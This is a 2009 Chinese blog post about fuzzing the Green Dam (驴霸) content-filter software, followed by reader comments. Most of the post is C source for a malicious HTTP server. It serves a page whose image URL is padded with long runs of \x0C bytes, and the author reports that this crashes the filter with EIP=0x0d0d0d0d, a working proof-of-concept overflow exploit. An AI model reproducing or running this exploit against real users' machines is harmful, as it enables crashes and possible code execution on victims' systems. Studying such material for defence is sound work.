百度空间 | 百度首页 
 
查看文章
 
补一篇
2009-06-12 15:26

删一篇,补一篇。

这是第三次修改本blog。一提到驴霸,大家都兴奋了,全国人民都在搞啊,大家Fuzzing了几晚上估计都有点心得,不过还是老外嗅觉比较敏感:

http://www.cse.umich.edu/~jhalderm/pub/gd/

要不是昨天上两全看,烧某人还真不知道有驴霸这么个好东西。下面这个是一个Fuzzing工具修改的,仔细看了一下和后缀名还有点关系。这个结果直接Crash Eip=0x0d0d0d0d,还有些本来应该的结果,不过要右键-〉在新窗口打开才行,这个很poor的fuzzing工具还没法抓到。

等会儿我把那个删掉的科普部分恢复一下,据说那部分不犯忌。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

struct SockAndIP
{
SOCKET sock;
char   ip[250];
};

DWORD WINAPI SocketThread(PVOID para)
{
SockAndIP *ptr = (SockAndIP*)para;
SOCKET s = ptr->sock;

char b[1000] = {0};
recv(s, b, 1000, 0);

char buf[4000]={0};
SYSTEMTIME t;
GetSystemTime(&t);

printf("ip: %s\n", ptr->ip);
/*
strcpy(buf, "HTTP/1.1 304 Not Modified\r\n"
     "Last-Modified: Tue, 14 Oct 2008 05:34:45 GMT\r\n"
     "Accept-Ranges: bytes\r\n"
     "ETag: \"dead1191be2dc91:2fc\"\r\n"
     "Server: Microsoft-IIS/6.0\r\n"
     "Date: Fri, 11 Jun 2009 11:32:38 GMT\r\n\r\n");
*/

strcpy(buf, "HTTP/1.1 200 OK\r\n"
"Server: Microsoft-IIS/5.0\r\n"
"Date: Fri, 12 Jun 2009 06:50:06 GMT\r\n"
"Content-Type: text/html\r\n"
"Accept-Ranges: bytes\r\n"
"Last-Modified: Fri, 11 Jun 2009 11:49:26 GMT\r\n"
"ETag: \"1c2d1bed29ebc91:1723\"\r\n"
"Content-Length: 1376\r\n"
"\r\n"
"<html>\r\n"
"<head>\r\n"
"<title>all hail</title>\r\n"
"</head>\r\n"
"<body>\r\n"
"<img src='/"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
"\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
".HTM'>\r\n"
"Hi, Dude\r\n"
"</body>\r\n");


send(s, buf, strlen(buf), 0);
closesocket(s);
return 0;
}

DWORD WINAPI ListenThread(PVOID para)
{
WSADATA   WsaData;
SOCKET   swait, s;
SOCKADDR_IN Addr;
SOCKADDR_IN inAddr;
if(WSAStartup(MAKEWORD(2,2),&WsaData))
   return false;
swait = WSASocket(AF_INET, SOCK_STREAM, NULL, NULL, NULL, NULL);
if(swait == INVALID_SOCKET)
   return false;
Addr.sin_family = AF_INET;
Addr.sin_addr.S_un.S_addr = ADDR_ANY;
Addr.sin_port = htons(80);
if(bind(swait, (SOCKADDR *)&Addr, sizeof(Addr)))
   return false;
if(listen(swait, 557))
   return false;

while(1)
{
   int inAddrSize = sizeof(inAddr);
   s = WSAAccept(swait, (SOCKADDR *)&inAddr, &inAddrSize, NULL, NULL);
   if(s != INVALID_SOCKET)
   {
   SockAndIP *sai = new SockAndIP;
    sai->sock = s;
    sprintf(sai->ip, "%d.%d.%d.%d", inAddr.sin_addr.S_un.S_un_b.s_b1,
                    inAddr.sin_addr.S_un.S_un_b.s_b2,
                    inAddr.sin_addr.S_un.S_un_b.s_b3,
                    inAddr.sin_addr.S_un.S_un_b.s_b4);
    DWORD id;
    HANDLE h = CreateThread(NULL, 0, SocketThread, (PVOID)(sai), 0, &id);
    CloseHandle(h);
   }
   else
   {
    closesocket(swait);
    WSACleanup();
    return false;
   }
}
}

void main()
{
ListenThread(NULL);
}


类别:科普工作 | 添加到搜藏 | 浏览() | 评论 (14)
 
最近读者:
 
网友评论:
1
2009-06-12 15:27 | 回复
沙发还是我的。
 
2
2009-06-12 15:31 | 回复
HOHO.
 
3
2009-06-12 15:39 | 回复
BS沙发党...
 
4
2009-06-12 16:09 | 回复
自此胡萝卜已成为屏蔽字
 
5
2009-06-12 16:43 | 回复
貌似触到了大家的G点了
 
6
2009-06-12 17:06 | 回复
喵 雖然看不懂 但是覺得十萬同志恐怖了= =||||||
 
7
2009-06-12 20:10 | 回复
再加一句,鉴于脑残星公司已经被排除在MAPP Partner列表外(感谢tk教主友情爆料),为了安抚贵公司受伤的心,俺可以授权给贵公司这个poc的使用权(授权书麻烦传真过来),然后贵公司就可以“全球首发”这个漏洞的补丁挽回点面子了。
 
8
2009-06-12 20:32 | 回复
回复匿名网友:你这个傻屌
 
9
2009-06-12 23:02 | 回复
一看到这个帖子
第一反应就是赶紧保存了。。。。
被和(河蟹)谐就找不到。。。
 
10
2009-06-13 00:37 | 回复
删掉的科普部分没有恢复吗?
 
11
2009-06-14 18:17 | 回复
空白处记得用鼠标掠过一下,有不犯忌的文字.
 
12
2009-06-15 11:50 | 回复
恩。。。很多x0C ....还listen 557 很好很强大。
 
13
2009-06-15 14:09 | 回复
瑞星和MAPP那个事情搞清楚了。是微软的人干的矬事,编辑网页的时候不小心把瑞星Logo弄丢了。现在已经恢复。
 
14
2009-06-15 22:32 | 回复
不小心?是看不下去了吧,呵呵。
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu